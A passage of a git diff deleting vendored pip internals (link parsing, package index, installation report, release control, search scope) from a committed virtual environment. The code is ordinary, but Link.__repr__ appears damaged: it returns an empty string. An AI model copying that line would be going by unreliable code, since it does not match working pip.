-    def handle_mutual_excludes(value: str, target: set[str], other: set[str]) -> None:
-        if value.startswith("-"):
-            raise CommandError(
-                "--no-binary / --only-binary option requires 1 argument."
-            )
-        new = value.split(",")
-        while ":all:" in new:
-            other.clear()
-            target.clear()
-            target.add(":all:")
-            del new[: new.index(":all:") + 1]
-            # Without a none, we want to discard everything as :all: covers it
-            if ":none:" not in new:
-                return
-        for name in new:
-            if name == ":none:":
-                target.clear()
-                continue
-            name = canonicalize_name(name)
-            other.discard(name)
-            target.add(name)
-
-    def get_allowed_formats(self, canonical_name: str) -> frozenset[str]:
-        result = {"binary", "source"}
-        if canonical_name in self.only_binary:
-            result.discard("source")
-        elif canonical_name in self.no_binary:
-            result.discard("binary")
-        elif ":all:" in self.only_binary:
-            result.discard("source")
-        elif ":all:" in self.no_binary:
-            result.discard("binary")
-        return frozenset(result)
-
-    def disallow_binaries(self) -> None:
-        self.handle_mutual_excludes(
-            ":all:",
-            self.no_binary,
-            self.only_binary,
-        )
diff --git a/venv/Lib/site-packages/pip/_internal/models/index.py b/venv/Lib/site-packages/pip/_internal/models/index.py
deleted file mode 100644
index b94c32511f0cda2363bfc4f29c9c8bfcc7101f9b..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/index.py
+++ /dev/null
@@ -1,28 +0,0 @@
-import urllib.parse
-
-
-class PackageIndex:
-    """Represents a Package Index and provides easier access to endpoints"""
-
-    __slots__ = ["url", "netloc", "simple_url", "pypi_url", "file_storage_domain"]
-
-    def __init__(self, url: str, file_storage_domain: str) -> None:
-        super().__init__()
-        self.url = url
-        self.netloc = urllib.parse.urlsplit(url).netloc
-        self.simple_url = self._url_for_path("simple")
-        self.pypi_url = self._url_for_path("pypi")
-
-        # This is part of a temporary hack used to block installs of PyPI
-        # packages which depend on external urls only necessary until PyPI can
-        # block such packages themselves
-        self.file_storage_domain = file_storage_domain
-
-    def _url_for_path(self, path: str) -> str:
-        return urllib.parse.urljoin(self.url, path)
-
-
-PyPI = PackageIndex("https://pypi.org/", file_storage_domain="files.pythonhosted.org")
-TestPyPI = PackageIndex(
-    "https://test.pypi.org/", file_storage_domain="test-files.pythonhosted.org"
-)
diff --git a/venv/Lib/site-packages/pip/_internal/models/installation_report.py b/venv/Lib/site-packages/pip/_internal/models/installation_report.py
deleted file mode 100644
index 145e2cf8e5722c724f054289089afdae6ed694c0..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/installation_report.py
+++ /dev/null
@@ -1,57 +0,0 @@
-from collections.abc import Sequence
-from typing import Any
-
-from pip._vendor.packaging.markers import default_environment
-
-from pip import __version__
-from pip._internal.req.req_install import InstallRequirement
-
-
-class InstallationReport:
-    def __init__(self, install_requirements: Sequence[InstallRequirement]):
-        self._install_requirements = install_requirements
-
-    @classmethod
-    def _install_req_to_dict(cls, ireq: InstallRequirement) -> dict[str, Any]:
-        assert ireq.download_info, f"No download_info for {ireq}"
-        res = {
-            # PEP 610 json for the download URL. download_info.archive_info.hashes may
-            # be absent when the requirement was installed from the wheel cache
-            # and the cache entry was populated by an older pip version that did not
-            # record origin.json.
-            "download_info": ireq.download_info.to_dict_compat(),
-            # is_direct is true if the requirement was a direct URL reference (which
-            # includes editable requirements), and false if the requirement was
-            # downloaded from a PEP 503 index or --find-links.
-            "is_direct": ireq.is_direct,
-            # is_yanked is true if the requirement was yanked from the index, but
-            # was still selected by pip to conform to PEP 592.
-            "is_yanked": ireq.link.is_yanked if ireq.link else False,
-            # requested is true if the requirement was specified by the user (aka
-            # top level requirement), and false if it was installed as a dependency of a
-            # requirement. https://peps.python.org/pep-0376/#requested
-            "requested": ireq.user_supplied,
-            # PEP 566 json encoding for metadata
-            # https://www.python.org/dev/peps/pep-0566/#json-compatible-metadata
-            "metadata": ireq.get_dist().metadata_dict,
-        }
-        if ireq.user_supplied and ireq.extras:
-            # For top level requirements, the list of requested extras, if any.
-            res["requested_extras"] = sorted(ireq.extras)
-        return res
-
-    def to_dict(self) -> dict[str, Any]:
-        return {
-            "version": "1",
-            "pip_version": __version__,
-            "install": [
-                self._install_req_to_dict(ireq) for ireq in self._install_requirements
-            ],
-            # https://peps.python.org/pep-0508/#environment-markers
-            # TODO: currently, the resolver uses the default environment to evaluate
-            # environment markers, so that is what we report here. In the future, it
-            # should also take into account options such as --python-version or
-            # --platform, perhaps under the form of an environment_override field?
-            # https://github.com/pypa/pip/issues/11198
-            "environment": default_environment(),
-        }
diff --git a/venv/Lib/site-packages/pip/_internal/models/link.py b/venv/Lib/site-packages/pip/_internal/models/link.py
deleted file mode 100644
index cbbe945c17ebacbe6914da526de6b06ac620c68d..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/link.py
+++ /dev/null
@@ -1,657 +0,0 @@
-from __future__ import annotations
-
-import datetime
-import functools
-import itertools
-import logging
-import os
-import posixpath
-import re
-import urllib.parse
-from collections.abc import Mapping
-from dataclasses import dataclass
-from typing import (
-    Any,
-    NamedTuple,
-    NewType,
-)
-
-from pip._internal.exceptions import InvalidEggFragment
-from pip._internal.utils.datetime import parse_iso_datetime
-from pip._internal.utils.filetypes import WHEEL_EXTENSION
-from pip._internal.utils.hashes import Hashes
-from pip._internal.utils.misc import (
-    pairwise,
-    redact_auth_from_url,
-    split_auth_from_netloc,
-    splitext,
-)
-from pip._internal.utils.urls import path_to_url, url_to_path
-
-logger = logging.getLogger(__name__)
-
-
-# A single path component: percent-decoded once and reduced to a basename, so it
-# contains no path separator and is not a ``.`` or ``..`` reference. The empty
-# string means "no component".
-PathComponent = NewType("PathComponent", str)
-
-
-def _to_path_component(name: str) -> PathComponent:
-    """Reduce ``name`` to a single path component, or ``""`` if it has none.
-
-    ``os.path.basename`` drops any directory part, drive letter, or separator;
-    a ``.``, ``..``, or empty result is not a component and becomes ``""``.
-    """
-    name = os.path.basename(name)
-    if name in ("", os.curdir, os.pardir):
-        return PathComponent("")
-
-    return PathComponent(name)
-
-
-def as_path_component(name: str) -> PathComponent:
-    """Like ``_to_path_component`` but reject the empty result.
-
-    Use where a file is about to be written, so a missing name is an error
-    rather than a silent fallback to the directory itself.
-    """
-    component = _to_path_component(name)
-    if not component:
-        raise ValueError(f"Unexpected file name derived from URL: {name!r}")
-
-    return component
-
-
-def join_within_directory(directory: str, component: PathComponent) -> str:
-    """Join a single path ``component`` onto ``directory``.
-
-    ``component`` is a :data:`PathComponent`, so by type it has no separator and
-    is not a ``.`` or ``..`` reference; the result can never escape ``directory``.
-    Requiring ``PathComponent`` rather than ``str`` lets the type checker enforce
-    at the call site that the name was reduced to a safe component beforehand.
-    """
-    return os.path.join(directory, component)
-
-
-# Order matters, earlier hashes have a precedence over later hashes for what
-# we will pick to use.
-_SUPPORTED_HASHES = ("sha512", "sha384", "sha256", "sha224", "sha1", "md5")
-
-
-@dataclass(frozen=True)
-class LinkHash:
-    """Links to content may have embedded hash values. This class parses those.
-
-    `name` must be any member of `_SUPPORTED_HASHES`.
-
-    This class can be converted to and from `ArchiveInfo`. While ArchiveInfo intends to
-    be JSON-serializable to conform to PEP 610, this class contains the logic for
-    parsing a hash name and value for correctness, and then checking whether that hash
-    conforms to a schema with `.is_hash_allowed()`."""
-
-    name: str
-    value: str
-
-    _hash_url_fragment_re = re.compile(
-        # NB: we do not validate that the second group (.*) is a valid hex
-        # digest. Instead, we simply keep that string in this class, and then check it
-        # against Hashes when hash-checking is needed. This is easier to debug than
-        # proactively discarding an invalid hex digest, as we handle incorrect hashes
-        # and malformed hashes in the same place.
-        r"[#&]({choices})=([^&]*)".format(
-            choices="|".join(re.escape(hash_name) for hash_name in _SUPPORTED_HASHES)
-        ),
-    )
-
-    def __post_init__(self) -> None:
-        assert self.name in _SUPPORTED_HASHES
-
-    @classmethod
-    @functools.cache
-    def find_hash_url_fragment(cls, url: str) -> LinkHash | None:
-        """Search a string for a checksum algorithm name and encoded output value."""
-        match = cls._hash_url_fragment_re.search(url)
-        if match is None:
-            return None
-        name, value = match.groups()
-        return cls(name=name, value=value)
-
-    def as_dict(self) -> dict[str, str]:
-        return {self.name: self.value}
-
-    def as_hashes(self) -> Hashes:
-        """Return a Hashes instance which checks only for the current hash."""
-        return Hashes({self.name: [self.value]})
-
-    def is_hash_allowed(self, hashes: Hashes | None) -> bool:
-        """
-        Return True if the current hash is allowed by `hashes`.
-        """
-        if hashes is None:
-            return False
-        return hashes.is_hash_allowed(self.name, hex_digest=self.value)
-
-
-@dataclass(frozen=True)
-class MetadataFile:
-    """Information about a core metadata file associated with a distribution."""
-
-    hashes: dict[str, str] | None
-
-    def __post_init__(self) -> None:
-        if self.hashes is not None:
-            assert all(name in _SUPPORTED_HASHES for name in self.hashes)
-
-
-def supported_hashes(hashes: dict[str, str] | None) -> dict[str, str] | None:
-    # Remove any unsupported hash types from the mapping. If this leaves no
-    # supported hashes, return None
-    if hashes is None:
-        return None
-    hashes = {n: v for n, v in hashes.items() if n in _SUPPORTED_HASHES}
-    if not hashes:
-        return None
-    return hashes
-
-
-def _clean_url_path_part(part: str) -> str:
-    """
-    Clean a "part" of a URL path (i.e. after splitting on "@" characters).
-    """
-    # We unquote prior to quoting to make sure nothing is double quoted.
-    return urllib.parse.quote(urllib.parse.unquote(part))
-
-
-def _clean_file_url_path(part: str) -> str:
-    """
-    Clean the first part of a URL path that corresponds to a local
-    filesystem path (i.e. the first part after splitting on "@" characters).
-    """
-    import urllib.request
-
-    # We unquote prior to quoting to make sure nothing is double quoted.
-    # Also, on Windows the path part might contain a drive letter which
-    # should not be quoted. On Linux where drive letters do not
-    # exist, the colon should be quoted. We rely on urllib.request
-    # to do the right thing here.
-    ret = urllib.request.pathname2url(urllib.request.url2pathname(part))
-    if ret.startswith("///"):
-        # Remove any URL authority section, leaving only the URL path.
-        ret = ret.removeprefix("//")
-    return ret
-
-
-# percent-encoded:                   /
-_reserved_chars_re = re.compile("(@|%2F)", re.IGNORECASE)
-
-
-def _clean_url_path(path: str, is_local_path: bool) -> str:
-    """
-    Clean the path portion of a URL.
-    """
-    if is_local_path:
-        clean_func = _clean_file_url_path
-    else:
-        clean_func = _clean_url_path_part
-
-    # Split on the reserved characters prior to cleaning so that
-    # revision strings in VCS URLs are properly preserved.
-    parts = _reserved_chars_re.split(path)
-
-    cleaned_parts = []
-    for to_clean, reserved in pairwise(itertools.chain(parts, [""])):
-        cleaned_parts.append(clean_func(to_clean))
-        # Normalize %xx escapes (e.g. %2f -> %2F)
-        cleaned_parts.append(reserved.upper())
-
-    return "".join(cleaned_parts)
-
-
-def _ensure_quoted_url(url: str) -> str:
-    """
-    Make sure a link is fully quoted.
-    For example, if ' ' occurs in the URL, it will be replaced with "%20",
-    and without double-quoting other characters.
-    """
-    # Split the URL into parts according to the general structure
-    # `scheme://netloc/path?query#fragment`.
-    result = urllib.parse.urlsplit(url)
-    # If the netloc is empty, then the URL refers to a local filesystem path.
-    is_local_path = not result.netloc
-    path = _clean_url_path(result.path, is_local_path=is_local_path)
-    # Temporarily replace scheme with file to ensure the URL generated by
-    # urlunsplit() contains an empty netloc (file://) as per RFC 1738.
-    ret = urllib.parse.urlunsplit(result._replace(scheme="file", path=path))
-    ret = result.scheme + ret[4:]  # Restore original scheme.
-    return ret
-
-
-def _absolute_link_url(base_url: str, url: str) -> str:
-    """
-    A faster implementation of urllib.parse.urljoin with a shortcut
-    for absolute http/https URLs.
-    """
-    if url.startswith(("https://", "http://")):
-        return url
-    else:
-        return urllib.parse.urljoin(base_url, url)
-
-
-@functools.total_ordering
-class Link:
-    """Represents a parsed link from a Package Index's simple URL"""
-
-    __slots__ = [
-        "_parsed_url",
-        "_url",
-        "_path",
-        "_hashes",
-        "comes_from",
-        "requires_python",
-        "yanked_reason",
-        "metadata_file_data",
-        "upload_time",
-        "cache_link_parsing",
-        "egg_fragment",
-    ]
-
-    def __init__(
-        self,
-        url: str,
-        comes_from: str | None = None,
-        requires_python: str | None = None,
-        yanked_reason: str | None = None,
-        metadata_file_data: MetadataFile | None = None,
-        upload_time: datetime.datetime | None = None,
-        cache_link_parsing: bool = True,
-        hashes: Mapping[str, str] | None = None,
-    ) -> None:
-        """
-        :param url: url of the resource pointed to (href of the link)
-        :param comes_from: URL or string indicating where the link was found.
-        :param requires_python: String containing the `Requires-Python`
-            metadata field, specified in PEP 345. This may be specified by
-            a data-requires-python attribute in the HTML link tag, as
-            described in PEP 503.
-        :param yanked_reason: the reason the file has been yanked, if the
-            file has been yanked, or None if the file hasn't been yanked.
-            This is the value of the "data-yanked" attribute, if present, in
-            a simple repository HTML link. If the file has been yanked but
-            no reason was provided, this should be the empty string. See
-            PEP 592 for more information and the specification.
-        :param metadata_file_data: the metadata attached to the file, or None if
-            no such metadata is provided. This argument, if not None, indicates
-            that a separate metadata file exists, and also optionally supplies
-            hashes for that file.
-        :param upload_time: upload time of the file, or None if the information
-            is not available from the server.
-        :param cache_link_parsing: A flag that is used elsewhere to determine
-            whether resources retrieved from this link should be cached. PyPI
-            URLs should generally have this set to False, for example.
-        :param hashes: A mapping of hash names to digests to allow us to
-            determine the validity of a download.
-        """
-
-        # The comes_from, requires_python, and metadata_file_data arguments are
-        # only used by classmethods of this class, and are not used in client
-        # code directly.
-
-        # url can be a UNC windows share
-        if url.startswith("\\\\"):
-            url = path_to_url(url)
-
-        self._parsed_url = urllib.parse.urlsplit(url)
-        # Store the url as a private attribute to prevent accidentally
-        # trying to set a new value.
-        self._url = url
-        # The .path property is hot, so calculate its value ahead of time.
-        self._path = urllib.parse.unquote(self._parsed_url.path)
-
-        link_hash = LinkHash.find_hash_url_fragment(url)
-        hashes_from_link = {} if link_hash is None else link_hash.as_dict()
-        if hashes is None:
-            self._hashes = hashes_from_link
-        else:
-            self._hashes = {**hashes, **hashes_from_link}
-
-        self.comes_from = comes_from
-        self.requires_python = requires_python if requires_python else None
-        self.yanked_reason = yanked_reason
-        self.metadata_file_data = metadata_file_data
-        self.upload_time = upload_time
-
-        self.cache_link_parsing = cache_link_parsing
-        self.egg_fragment = self._egg_fragment()
-
-    @classmethod
-    def from_json(
-        cls,
-        file_data: dict[str, Any],
-        page_url: str,
-    ) -> Link | None:
-        """
-        Convert an pypi json document from a simple repository page into a Link.
-        """
-        file_url = file_data.get("url")
-        if file_url is None:
-            return None
-
-        url = _ensure_quoted_url(_absolute_link_url(page_url, file_url))
-        pyrequire = file_data.get("requires-python")
-        yanked_reason = file_data.get("yanked")
-        hashes = file_data.get("hashes", {})
-
-        # PEP 714: Indexes must use the name core-metadata, but
-        # clients should support the old name as a fallback for compatibility.
-        metadata_info = file_data.get("core-metadata")
-        if metadata_info is None:
-            metadata_info = file_data.get("dist-info-metadata")
-
-        if upload_time_data := file_data.get("upload-time"):
-            upload_time = parse_iso_datetime(upload_time_data)
-        else:
-            upload_time = None
-
-        # The metadata info value may be a boolean, or a dict of hashes.
-        if isinstance(metadata_info, dict):
-            # The file exists, and hashes have been supplied
-            metadata_file_data = MetadataFile(supported_hashes(metadata_info))
-        elif metadata_info:
-            # The file exists, but there are no hashes
-            metadata_file_data = MetadataFile(None)
-        else:
-            # False or not present: the file does not exist
-            metadata_file_data = None
-
-        # The Link.yanked_reason expects an empty string instead of a boolean.
-        if yanked_reason and not isinstance(yanked_reason, str):
-            yanked_reason = ""
-        # The Link.yanked_reason expects None instead of False.
-        elif not yanked_reason:
-            yanked_reason = None
-
-        return cls(
-            url,
-            comes_from=page_url,
-            requires_python=pyrequire,
-            yanked_reason=yanked_reason,
-            hashes=hashes,
-            metadata_file_data=metadata_file_data,
-            upload_time=upload_time,
-        )
-
-    @classmethod
-    def from_element(
-        cls,
-        anchor_attribs: dict[str, str | None],
-        page_url: str,
-        base_url: str,
-    ) -> Link | None:
-        """
-        Convert an anchor element's attributes in a simple repository page to a Link.
-        """
-        href = anchor_attribs.get("href")
-        if not href:
-            return None
-
-        url = _ensure_quoted_url(_absolute_link_url(base_url, href))
-        pyrequire = anchor_attribs.get("data-requires-python")
-        yanked_reason = anchor_attribs.get("data-yanked")
-
-        # PEP 714: Indexes must use the name data-core-metadata, but
-        # clients should support the old name as a fallback for compatibility.
-        metadata_info = anchor_attribs.get("data-core-metadata")
-        if metadata_info is None:
-            metadata_info = anchor_attribs.get("data-dist-info-metadata")
-        # The metadata info value may be the string "true", or a string of
-        # the form "hashname=hashval"
-        if metadata_info == "true":
-            # The file exists, but there are no hashes
-            metadata_file_data = MetadataFile(None)
-        elif metadata_info is None:
-            # The file does not exist
-            metadata_file_data = None
-        else:
-            # The file exists, and hashes have been supplied
-            hashname, sep, hashval = metadata_info.partition("=")
-            if sep == "=":
-                metadata_file_data = MetadataFile(supported_hashes({hashname: hashval}))
-            else:
-                # Error - data is wrong. Treat as no hashes supplied.
-                logger.debug(
-                    "Index returned invalid data-dist-info-metadata value: %s",
-                    metadata_info,
-                )
-                metadata_file_data = MetadataFile(None)
-
-        return cls(
-            url,
-            comes_from=page_url,
-            requires_python=pyrequire,
-            yanked_reason=yanked_reason,
-            metadata_file_data=metadata_file_data,
-        )
-
-    def __str__(self) -> str:
-        if self.requires_python:
-            rp = f" (requires-python:{self.requires_python})"
-        else:
-            rp = ""
-        if self.comes_from:
-            return f"{self.redacted_url} (from {self.comes_from}){rp}"
-        else:
-            return self.redacted_url
-
-    def __repr__(self) -> str:
-        return f""
-
-    def __hash__(self) -> int:
-        return hash(self.url)
-
-    def __eq__(self, other: Any) -> bool:
-        if not isinstance(other, Link):
-            return NotImplemented
-        return self.url == other.url
-
-    def __lt__(self, other: Any) -> bool:
-        if not isinstance(other, Link):
-            return NotImplemented
-        return self.url < other.url
-
-    @property
-    def url(self) -> str:
-        return self._url
-
-    @property
-    def redacted_url(self) -> str:
-        return redact_auth_from_url(self.url)
-
-    @property
-    def filename(self) -> PathComponent:
-        name = _to_path_component(posixpath.basename(self.path.rstrip("/")))
-        if name:
-            return name
-
-        # No component in the path; fall back to the netloc, dropping any auth.
-        return _to_path_component(split_auth_from_netloc(self.netloc)[0])
-
-    @property
-    def file_path(self) -> str:
-        return url_to_path(self.url)
-
-    @property
-    def scheme(self) -> str:
-        return self._parsed_url.scheme
-
-    @property
-    def netloc(self) -> str:
-        """
-        This can contain auth information.
-        """
-        return self._parsed_url.netloc
-
-    @property
-    def path(self) -> str:
-        return self._path
-
-    def splitext(self) -> tuple[str, str]:
-        return splitext(posixpath.basename(self.path.rstrip("/")))
-
-    @property
-    def ext(self) -> str:
-        return self.splitext()[1]
-
-    @property
-    def url_without_fragment(self) -> str:
-        scheme, netloc, path, query, fragment = self._parsed_url
-        return urllib.parse.urlunsplit((scheme, netloc, path, query, ""))
-
-    _egg_fragment_re = re.compile(r"[#&]egg=([^&]*)")
-
-    # Per PEP 508.
-    _project_name_re = re.compile(
-        r"^([A-Z0-9]|[A-Z0-9][A-Z0-9._-]*[A-Z0-9])$", re.IGNORECASE
-    )
-
-    def _egg_fragment(self) -> str | None:
-        match = self._egg_fragment_re.search(self._url)
-        if not match:
-            return None
-
-        # An egg fragment looks like a PEP 508 project name, along with
-        # an optional extras specifier. Anything else is invalid.
-        project_name = match.group(1)
-        if not self._project_name_re.match(project_name):
-            raise InvalidEggFragment(self, project_name)
-
-        return project_name
-
-    _subdirectory_fragment_re = re.compile(r"[#&]subdirectory=([^&]*)")
-
-    @property
-    def subdirectory_fragment(self) -> str | None:
-        match = self._subdirectory_fragment_re.search(self._url)
-        if not match:
-            return None
-        return match.group(1)
-
-    def metadata_link(self) -> Link | None:
-        """Return a link to the associated core metadata file (if any)."""
-        if self.metadata_file_data is None:
-            return None
-        metadata_url = f"{self.url_without_fragment}.metadata"
-        if self.metadata_file_data.hashes is None:
-            return Link(metadata_url)
-        return Link(metadata_url, hashes=self.metadata_file_data.hashes)
-
-    def as_hashes(self) -> Hashes:
-        return Hashes({k: [v] for k, v in self._hashes.items()})
-
-    @property
-    def hash(self) -> str | None:
-        return next(iter(self._hashes.values()), None)
-
-    @property
-    def hash_name(self) -> str | None:
-        return next(iter(self._hashes), None)
-
-    @property
-    def show_url(self) -> str:
-        return posixpath.basename(self._url.split("#", 1)[0].split("?", 1)[0])
-
-    @property
-    def is_file(self) -> bool:
-        return self.scheme == "file"
-
-    def is_existing_dir(self) -> bool:
-        return self.is_file and os.path.isdir(self.file_path)
-
-    @property
-    def is_wheel(self) -> bool:
-        return self.ext == WHEEL_EXTENSION
-
-    @property
-    def is_vcs(self) -> bool:
-        from pip._internal.vcs import vcs
-
-        return self.scheme in vcs.all_schemes
-
-    @property
-    def is_yanked(self) -> bool:
-        return self.yanked_reason is not None
-
-    @property
-    def has_hash(self) -> bool:
-        return bool(self._hashes)
-
-    def is_hash_allowed(self, hashes: Hashes | None) -> bool:
-        """
-        Return True if the link has a hash and it is allowed by `hashes`.
-        """
-        if hashes is None:
-            return False
-        return any(hashes.is_hash_allowed(k, v) for k, v in self._hashes.items())
-
-
-class _CleanResult(NamedTuple):
-    """Convert link for equivalency check.
-
-    This is used in the resolver to check whether two URL-specified requirements
-    likely point to the same distribution and can be considered equivalent. This
-    equivalency logic avoids comparing URLs literally, which can be too strict
-    (e.g. "a=1&b=2" vs "b=2&a=1") and produce conflicts unexpecting to users.
-
-    Currently this does three things:
-
-    1. Drop the basic auth part. This is technically wrong since a server can
-       serve different content based on auth, but if it does that, it is even
-       impossible to guarantee two URLs without auth are equivalent, since
-       the user can input different auth information when prompted. So the
-       practical solution is to assume the auth doesn't affect the response.
-    2. Parse the query to avoid the ordering issue. Note that ordering under the
-       same key in the query are NOT cleaned; i.e. "a=1&a=2" and "a=2&a=1" are
-       still considered different.
-    3. Explicitly drop most of the fragment part, except ``subdirectory=`` and
-       hash values, since it should have no impact the downloaded content. Note
-       that this drops the "egg=" part historically used to denote the requested
-       project (and extras), which is wrong in the strictest sense, but too many
-       people are supplying it inconsistently to cause superfluous resolution
-       conflicts, so we choose to also ignore them.
-    """
-
-    parsed: urllib.parse.SplitResult
-    query: dict[str, list[str]]
-    subdirectory: str
-    hashes: dict[str, str]
-
-
-def _clean_link(link: Link) -> _CleanResult:
-    parsed = link._parsed_url
-    netloc = parsed.netloc.rsplit("@", 1)[-1]
-    # According to RFC 8089, an empty host in file: means localhost.
-    if parsed.scheme == "file" and not netloc:
-        netloc = "localhost"
-    fragment = urllib.parse.parse_qs(parsed.fragment)
-    if "egg" in fragment:
-        logger.debug("Ignoring egg= fragment in %s", link)
-    try:
-        # If there are multiple subdirectory values, use the first one.
-        # This matches the behavior of Link.subdirectory_fragment.
-        subdirectory = fragment["subdirectory"][0]
-    except (IndexError, KeyError):
-        subdirectory = ""
-    # If there are multiple hash values under the same algorithm, use the
-    # first one. This matches the behavior of Link.hash_value.
-    hashes = {k: fragment[k][0] for k in _SUPPORTED_HASHES if k in fragment}
-    return _CleanResult(
-        parsed=parsed._replace(netloc=netloc, query="", fragment=""),
-        query=urllib.parse.parse_qs(parsed.query),
-        subdirectory=subdirectory,
-        hashes=hashes,
-    )
-
-
-@functools.cache
-def links_equivalent(link1: Link, link2: Link) -> bool:
-    return _clean_link(link1) == _clean_link(link2)
diff --git a/venv/Lib/site-packages/pip/_internal/models/release_control.py b/venv/Lib/site-packages/pip/_internal/models/release_control.py
deleted file mode 100644
index d432fa3e9b432fe93e39cd0006c1e61a19661dc2..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/release_control.py
+++ /dev/null
@@ -1,91 +0,0 @@
-from __future__ import annotations
-
-from dataclasses import dataclass, field
-
-from pip._vendor.packaging.utils import NormalizedName, canonicalize_name
-
-from pip._internal.exceptions import CommandError
-
-
-@dataclass(slots=True)
-class ReleaseControl:
-    """Helper for managing which release types can be installed."""
-
-    all_releases: set[str] = field(default_factory=set)
-    only_final: set[str] = field(default_factory=set)
-    _order: list[tuple[str, str]] = field(
-        init=False, default_factory=list, compare=False, repr=False
-    )
-
-    def handle_mutual_excludes(
-        self, value: str, target: set[str], other: set[str], attr_name: str
-    ) -> None:
-        """Parse and apply release control option value.
-
-        Processes comma-separated package names or special values `:all:` and `:none:`.
-
-        When adding packages to target, they're removed from other to maintain mutual
-        exclusivity between all_releases and only_final. All operations are tracked in
-        order so that the original command-line argument sequence can be reconstructed
-        when passing options to build subprocesses.
-        """
-        if value.startswith("-"):
-            raise CommandError(
-                "--all-releases / --only-final option requires 1 argument."
-            )
-        new = value.split(",")
-        while ":all:" in new:
-            other.clear()
-            target.clear()
-            target.add(":all:")
-            # Track :all: in order
-            self._order.append((attr_name, ":all:"))
-            del new[: new.index(":all:") + 1]
-            # Without a none, we want to discard everything as :all: covers it
-            if ":none:" not in new:
-                return
-        for name in new:
-            if name == ":none:":
-                target.clear()
-                # Track :none: in order
-                self._order.append((attr_name, ":none:"))
-                continue
-            name = canonicalize_name(name)
-            other.discard(name)
-            target.add(name)
-            # Track package-specific setting in order
-            self._order.append((attr_name, name))
-
-    def get_ordered_args(self) -> list[tuple[str, str]]:
-        """
-        Get ordered list of (flag_name, value) tuples for reconstructing CLI args.
-
-        Returns:
-            List of tuples where each tuple is (attribute_name, value).
-            The attribute_name is either 'all_releases' or 'only_final'.
-
-        Example:
-            [("all_releases", ":all:"), ("only_final", "simple")]
-            would be reconstructed as:
-            ["--all-releases", ":all:", "--only-final", "simple"]
-        """
-        return self._order[:]
-
-    def allows_prereleases(self, canonical_name: NormalizedName) -> bool | None:
-        """
-        Determine if pre-releases are allowed for a package.
-
-        Returns:
-            True: Pre-releases are allowed (package in all_releases)
-            False: Only final releases allowed (package in only_final)
-            None: No specific setting, use default behavior
-        """
-        if canonical_name in self.all_releases:
-            return True
-        elif canonical_name in self.only_final:
-            return False
-        elif ":all:" in self.all_releases:
-            return True
-        elif ":all:" in self.only_final:
-            return False
-        return None
diff --git a/venv/Lib/site-packages/pip/_internal/models/scheme.py b/venv/Lib/site-packages/pip/_internal/models/scheme.py
deleted file mode 100644
index 5ed705717c26cb942df0db821a33481d1fae8e40..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/scheme.py
+++ /dev/null
@@ -1,23 +0,0 @@
-"""
-For types associated with installation schemes.
-
-For a general overview of available schemes and their context, see
-https://docs.python.org/3/install/index.html#alternate-installation.
-"""
-
-from dataclasses import dataclass
-
-SCHEME_KEYS = ["platlib", "purelib", "headers", "scripts", "data"]
-
-
-@dataclass(frozen=True, slots=True)
-class Scheme:
-    """A Scheme holds paths which are used as the base directories for
-    artifacts associated with a Python package.
-    """
-
-    platlib: str
-    purelib: str
-    headers: str
-    scripts: str
-    data: str
diff --git a/venv/Lib/site-packages/pip/_internal/models/search_scope.py b/venv/Lib/site-packages/pip/_internal/models/search_scope.py
deleted file mode 100644
index b3aaa18e616c3e76441729885aaf9eca3bacf8c5..0000000000000000000000000000000000000000
--- a/venv/Lib/site-packages/pip/_internal/models/search_scope.py
+++ /dev/null
@@ -1,124 +0,0 @@
-import itertools
-import logging
-import os
-import posixpath
-import urllib.parse
-from dataclasses import dataclass
-
-from pip._vendor.packaging.utils import canonicalize_name
-
-from pip._internal.models.index import PyPI
-from pip._internal.utils.compat import has_tls
-from pip._internal.utils.misc import normalize_path, redact_auth_from_url
-
-logger = logging.getLogger(__name__)
-
-
-@dataclass(frozen=True, slots=True)
-class SearchScope:
-    """
-    Encapsulates the locations that pip is configured to search.
-    """
-
-    find_links: list[str]
-    index_urls: list[str]
-    no_index: bool
-
-    @classmethod
-    def create(
-        cls,
-        find_links: list[str],
-        index_urls: list[str],
-        no_index: bool,
-    ) -> "SearchScope":
-        """
-        Create a SearchScope object after normalizing the `find_links`.
-        """
-        # Build find_links. If an argument starts with ~, it may be
-        # a local file relative to a home directory. So try normalizing
-        # it and if it exists, use the normalized version.
-        # This is deliberately conservative - it might be fine just to
-        # blindly normalize anything starting with a ~...
-        built_find_links: list[str] = []
-        for link in find_links:
-            if link.startswith("~"):
-                new_link = normalize_path(link)
-                if os.path.exists(new_link):
-                    link = new_link
-            built_find_links.append(link)
-
-        # If we don't have TLS enabled, then WARN if anyplace we're looking
-        # relies on TLS.
-        if not has_tls():
-            for link in itertools.chain(index_urls, built_find_links):
-                parsed = urllib.parse.urlparse(link)
-                if parsed.scheme == "https":
-                    logger.warning(
-                        "pip is configured with locations that require "
-                        "TLS/SSL, however the ssl module in Python is not "
-                        "available."
-                    )
-                    break
-
-        return cls(
-            find_links=built_find_links,
-            index_urls=index_urls,
-            no_index=no_index,
-        )
-
-    def get_formatted_locations(self) -> str:
-        lines = []
-        redacted_index_urls = []
-        if self.index_urls and self.index_urls != [PyPI.simple_url]:
-            for url in self.index_urls:
-                redacted_index_url = redact_auth_from_url(url)
-
-                # Parse the URL
-                purl = urllib.parse.urlsplit(redacted_index_url)
-
-                # URL is generally invalid if scheme and netloc is missing
-                # there are issues with Python and URL parsing, so this test
-                # is a bit crude. See bpo-20271, bpo-23505. Python doesn't
-                # always parse invalid URLs correctly - it should raise
-                # exceptions for malformed URLs
-                if not purl.scheme and not purl.netloc:
-                    logger.warning(
-                        'The index url "%s" seems invalid, please provide a scheme.',
-                        redacted_index_url,
-                    )
-
-                redacted_index_urls.append(redacted_index_url)
-
-            lines.append(
-                "Looking in indexes: {}".format(", ".join(redacted_index_urls))
-            )
-
-        if self.find_links:
-            lines.append(
-                "Looking in links: {}".format(
-                    ", ".join(redact_auth_from_url(url) for url in self.find_links)
-                )
-            )
-        return "\n".join(lines)
-
-    def get_index_urls_locations(self, project_name: str) -> list[str]:
-        """Returns the locations found via self.index_urls
-
-        Checks the url_name on the main (first in the list) index and
-        use this url_name to produce all locations
-        """
-
-        def mkurl_pypi_url(url: str) -> str:
-            loc = posixpath.join(
-                url, urllib.parse.quote(canonicalize_name(project_name))
-            )
